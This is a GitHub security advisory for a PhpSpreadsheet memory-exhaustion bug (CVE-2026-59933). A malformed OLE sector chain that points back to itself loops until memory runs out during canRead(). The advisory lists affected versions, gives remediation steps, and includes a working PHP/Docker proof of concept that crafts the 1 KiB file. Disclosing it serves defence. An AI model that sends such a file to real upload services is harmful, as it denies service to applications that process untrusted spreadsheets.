GHSA-XH5M-36R6-47M3
Vulnerability from github – Published: 2026-07-23 15:01 – Updated: 2026-07-23 15:01Summary
PhpSpreadsheet's OLE reader follows sector chains from attacker-controlled XLS/OLE metadata without detecting cycles or enforcing a maximum chain length. A tiny malformed .xls/OLE file can set the small-block depot sector chain to point back to itself. During normal XLS detection, OLERead::read() appends the same sector data repeatedly until the PHP process exhausts memory.
This is reachable from Reader\Xls::canRead() and therefore from automatic spreadsheet type detection. Applications that accept attacker-controlled spreadsheet uploads can suffer denial of service from a very small file.
Vulnerability details
OLERead::read() loads the input and builds sector chains from attacker-controlled OLE header and allocation-table values:
src/PhpSpreadsheet/Shared/OLERead.php:82reads the entire file after validating only the OLE magic.src/PhpSpreadsheet/Shared/OLERead.php:84-97reads sector-chain metadata from the file header.src/PhpSpreadsheet/Shared/OLERead.php:132-146buildsbigBlockChainand then follows the small-block depot chain.
The vulnerable loop is:
$sbdBlock = $this->sbdStartBlock;
$this->smallBlockChain = '';
while ($sbdBlock != -2) {
$pos = ($sbdBlock + 1) * self::BIG_BLOCK_SIZE;
$this->smallBlockChain .= substr($this->data, $pos, 4 * $bbs);
$pos += 4 * $bbs;
$sbdBlock = self::getInt4d($this->bigBlockChain, $sbdBlock * 4);
}
There is no visited-sector set, no maximum iteration count, no EOF bound, and no check that the next sector differs from a previously visited sector. If the allocation table maps sector 0 to sector 0, the loop appends the same sector data forever until memory is exhausted.
The issue is reachable during normal reader detection/loading:
src/PhpSpreadsheet/Reader/XlsBase.php:153-165callsOLERead::read()fromcanRead().src/PhpSpreadsheet/Reader/Xls.php:376-383callsOLERead::read()fromloadOLE().src/PhpSpreadsheet/IOFactory.php:181-213callscanRead()while creating a reader for a file, so automatic format detection can trigger the issue.
Similar unbounded sector-chain walks exist later in stream reading:
src/PhpSpreadsheet/Shared/OLERead.php:175-180src/PhpSpreadsheet/Shared/OLERead.php:198-202src/PhpSpreadsheet/Shared/OLERead.php:218-222
The proof of concept below confirms the small-block depot chain loop; the same remediation pattern should be applied to all sector-chain walks.
Impact
A 1 KiB file can crash a PHP worker during Xls::canRead() or automatic file-type detection. This can deny service to web applications, queue workers, preview services, or document converters that process untrusted spreadsheet uploads.
The issue occurs before the file is recognized as a valid workbook stream, so even detection/probing paths are affected.
Safe local proof of concept
This proof of concept uses only Docker with --network none; it creates the malformed OLE file inside the container and does not contact external infrastructure.
docker run --rm --network none -i \
-v /home/sondt23/Github/CVE/ares/github-repo/PhpSpreadsheet:/app \
-w /app ghcr.io/typo3/core-testing-php82:1.15 sh <<'SH'
set -eu
php -r '
$data = str_repeat("\0", 1024);
$set = function (int $off, string $bytes) use (&$data): void { $data = substr_replace($data, $bytes, $off, strlen($bytes)); };
$set(0, hex2bin("D0CF11E0A1B11AE1"));
$set(28, "\xfe\xff");
$set(30, pack("v", 9)); // sector size 512
$set(32, pack("v", 6)); // mini sector size 64
$set(44, pack("l", 1)); // 1 SAT sector
$set(48, pack("l", 0)); // directory first sector 0
$set(56, pack("l", 4096)); // mini stream cutoff
$set(60, pack("l", 0)); // SSAT first sector 0
$set(64, pack("l", 1)); // one SSAT sector
$set(68, pack("l", -2)); // no MSAT extension
$set(72, pack("l", 0)); // no extension sectors
$set(76, pack("l", 0)); // DIFAT says SAT is sector 0
$set(512, pack("l", 0)); // SAT entry for sector 0 points to itself
file_put_contents("/tmp/phpspreadsheet-ole-selfloop.xls", $data);
printf("ole_size=%d\n", filesize("/tmp/phpspreadsheet-ole-selfloop.xls"));
'
php -d memory_limit=64M -d display_errors=1 -r '
require "/app/vendor/autoload.php";
$r = new PhpOffice\PhpSpreadsheet\Reader\Xls();
var_dump($r->canRead("/tmp/phpspreadsheet-ole-selfloop.xls"));
' 2>&1 || true
SH
Observed output:
ole_size=1024
PHP Fatal error: Allowed memory size of 67108864 bytes exhausted (tried to allocate 48234528 bytes) in /app/src/PhpSpreadsheet/Shared/OLERead.php on line 143
PHP Stack trace:
PHP 1. {main}() Command line code:0
PHP 2. PhpOffice\PhpSpreadsheet\Reader\XlsBase->canRead($filename = '/tmp/phpspreadsheet-ole-selfloop.xls') Command line code:4
PHP 3. PhpOffice\PhpSpreadsheet\Shared\OLERead->read($filename = '/tmp/phpspreadsheet-ole-selfloop.xls') /app/src/PhpSpreadsheet/Reader/XlsBase.php:164
Suggested remediation
- Validate every OLE sector-chain walk with:
- a visited-sector set to reject cycles;
- maximum chain length based on file size and sector size;
- bounds checks before reading from
$this->data,$this->bigBlockChain, or$this->smallBlockChain; - rejection of negative sector IDs other than the documented end-of-chain marker.
- Replace fatal memory exhaustion with a recoverable
Reader\Exceptionfor malformed OLE chains. - Apply the same guarded chain-walk helper to:
- small-block depot chain construction;
- small-block stream extraction;
- big-block stream extraction;
readData().- Add regression tests with self-looping and out-of-range SAT/SSAT chains.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.8.0"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "5.8.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.10.6"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "3.3.0"
},
{
"fixed": "3.10.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.4.6"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.4.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.1.17"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.1.18"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.30.5"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.30.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59933"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-835"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-23T15:01:50Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nPhpSpreadsheet\u0027s OLE reader follows sector chains from attacker-controlled XLS/OLE metadata without detecting cycles or enforcing a maximum chain length. A tiny malformed `.xls`/OLE file can set the small-block depot sector chain to point back to itself. During normal XLS detection, `OLERead::read()` appends the same sector data repeatedly until the PHP process exhausts memory.\n\nThis is reachable from `Reader\\Xls::canRead()` and therefore from automatic spreadsheet type detection. Applications that accept attacker-controlled spreadsheet uploads can suffer denial of service from a very small file.\n\n## Vulnerability details\n\n`OLERead::read()` loads the input and builds sector chains from attacker-controlled OLE header and allocation-table values:\n\n- `src/PhpSpreadsheet/Shared/OLERead.php:82` reads the entire file after validating only the OLE magic.\n- `src/PhpSpreadsheet/Shared/OLERead.php:84-97` reads sector-chain metadata from the file header.\n- `src/PhpSpreadsheet/Shared/OLERead.php:132-146` builds `bigBlockChain` and then follows the small-block depot chain.\n\nThe vulnerable loop is:\n\n```php\n$sbdBlock = $this-\u003esbdStartBlock;\n$this-\u003esmallBlockChain = \u0027\u0027;\nwhile ($sbdBlock != -2) {\n $pos = ($sbdBlock + 1) * self::BIG_BLOCK_SIZE;\n\n $this-\u003esmallBlockChain .= substr($this-\u003edata, $pos, 4 * $bbs);\n $pos += 4 * $bbs;\n\n $sbdBlock = self::getInt4d($this-\u003ebigBlockChain, $sbdBlock * 4);\n}\n```\n\nThere is no visited-sector set, no maximum iteration count, no EOF bound, and no check that the next sector differs from a previously visited sector. If the allocation table maps sector `0` to sector `0`, the loop appends the same sector data forever until memory is exhausted.\n\nThe issue is reachable during normal reader detection/loading:\n\n- `src/PhpSpreadsheet/Reader/XlsBase.php:153-165` calls `OLERead::read()` from `canRead()`.\n- `src/PhpSpreadsheet/Reader/Xls.php:376-383` calls `OLERead::read()` from `loadOLE()`.\n- `src/PhpSpreadsheet/IOFactory.php:181-213` calls `canRead()` while creating a reader for a file, so automatic format detection can trigger the issue.\n\nSimilar unbounded sector-chain walks exist later in stream reading:\n\n- `src/PhpSpreadsheet/Shared/OLERead.php:175-180`\n- `src/PhpSpreadsheet/Shared/OLERead.php:198-202`\n- `src/PhpSpreadsheet/Shared/OLERead.php:218-222`\n\nThe proof of concept below confirms the small-block depot chain loop; the same remediation pattern should be applied to all sector-chain walks.\n\n## Impact\n\nA 1 KiB file can crash a PHP worker during `Xls::canRead()` or automatic file-type detection. This can deny service to web applications, queue workers, preview services, or document converters that process untrusted spreadsheet uploads.\n\nThe issue occurs before the file is recognized as a valid workbook stream, so even detection/probing paths are affected.\n\n## Safe local proof of concept\n\nThis proof of concept uses only Docker with `--network none`; it creates the malformed OLE file inside the container and does not contact external infrastructure.\n\n```bash\ndocker run --rm --network none -i \\\n -v /home/sondt23/Github/CVE/ares/github-repo/PhpSpreadsheet:/app \\\n -w /app ghcr.io/typo3/core-testing-php82:1.15 sh \u003c\u003c\u0027SH\u0027\nset -eu\nphp -r \u0027\n$data = str_repeat(\"\\0\", 1024);\n$set = function (int $off, string $bytes) use (\u0026$data): void { $data = substr_replace($data, $bytes, $off, strlen($bytes)); };\n$set(0, hex2bin(\"D0CF11E0A1B11AE1\"));\n$set(28, \"\\xfe\\xff\");\n$set(30, pack(\"v\", 9)); // sector size 512\n$set(32, pack(\"v\", 6)); // mini sector size 64\n$set(44, pack(\"l\", 1)); // 1 SAT sector\n$set(48, pack(\"l\", 0)); // directory first sector 0\n$set(56, pack(\"l\", 4096)); // mini stream cutoff\n$set(60, pack(\"l\", 0)); // SSAT first sector 0\n$set(64, pack(\"l\", 1)); // one SSAT sector\n$set(68, pack(\"l\", -2)); // no MSAT extension\n$set(72, pack(\"l\", 0)); // no extension sectors\n$set(76, pack(\"l\", 0)); // DIFAT says SAT is sector 0\n$set(512, pack(\"l\", 0)); // SAT entry for sector 0 points to itself\nfile_put_contents(\"/tmp/phpspreadsheet-ole-selfloop.xls\", $data);\nprintf(\"ole_size=%d\\n\", filesize(\"/tmp/phpspreadsheet-ole-selfloop.xls\"));\n\u0027\nphp -d memory_limit=64M -d display_errors=1 -r \u0027\nrequire \"/app/vendor/autoload.php\";\n$r = new PhpOffice\\PhpSpreadsheet\\Reader\\Xls();\nvar_dump($r-\u003ecanRead(\"/tmp/phpspreadsheet-ole-selfloop.xls\"));\n\u0027 2\u003e\u00261 || true\nSH\n```\n\nObserved output:\n\n```text\nole_size=1024\nPHP Fatal error: Allowed memory size of 67108864 bytes exhausted (tried to allocate 48234528 bytes) in /app/src/PhpSpreadsheet/Shared/OLERead.php on line 143\nPHP Stack trace:\nPHP 1. {main}() Command line code:0\nPHP 2. PhpOffice\\PhpSpreadsheet\\Reader\\XlsBase-\u003ecanRead($filename = \u0027/tmp/phpspreadsheet-ole-selfloop.xls\u0027) Command line code:4\nPHP 3. PhpOffice\\PhpSpreadsheet\\Shared\\OLERead-\u003eread($filename = \u0027/tmp/phpspreadsheet-ole-selfloop.xls\u0027) /app/src/PhpSpreadsheet/Reader/XlsBase.php:164\n```\n\n## Suggested remediation\n\n- Validate every OLE sector-chain walk with:\n - a visited-sector set to reject cycles;\n - maximum chain length based on file size and sector size;\n - bounds checks before reading from `$this-\u003edata`, `$this-\u003ebigBlockChain`, or `$this-\u003esmallBlockChain`;\n - rejection of negative sector IDs other than the documented end-of-chain marker.\n- Replace fatal memory exhaustion with a recoverable `Reader\\Exception` for malformed OLE chains.\n- Apply the same guarded chain-walk helper to:\n - small-block depot chain construction;\n - small-block stream extraction;\n - big-block stream extraction;\n - `readData()`.\n- Add regression tests with self-looping and out-of-range SAT/SSAT chains.",
"id": "GHSA-xh5m-36r6-47m3",
"modified": "2026-07-23T15:01:50Z",
"published": "2026-07-23T15:01:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-xh5m-36r6-47m3"
},
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/85f2556b0bf5269061bf45932ecda8a128d81750"
},
{
"type": "PACKAGE",
"url": "https://github.com/PHPOffice/PhpSpreadsheet"
},
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.30.6"
},
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.18"
},
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.4.7"
},
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.7"
},
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.8.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "PHPSpreadsheet: XLS/OLE sector-chain self-loop causes memory exhaustion"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.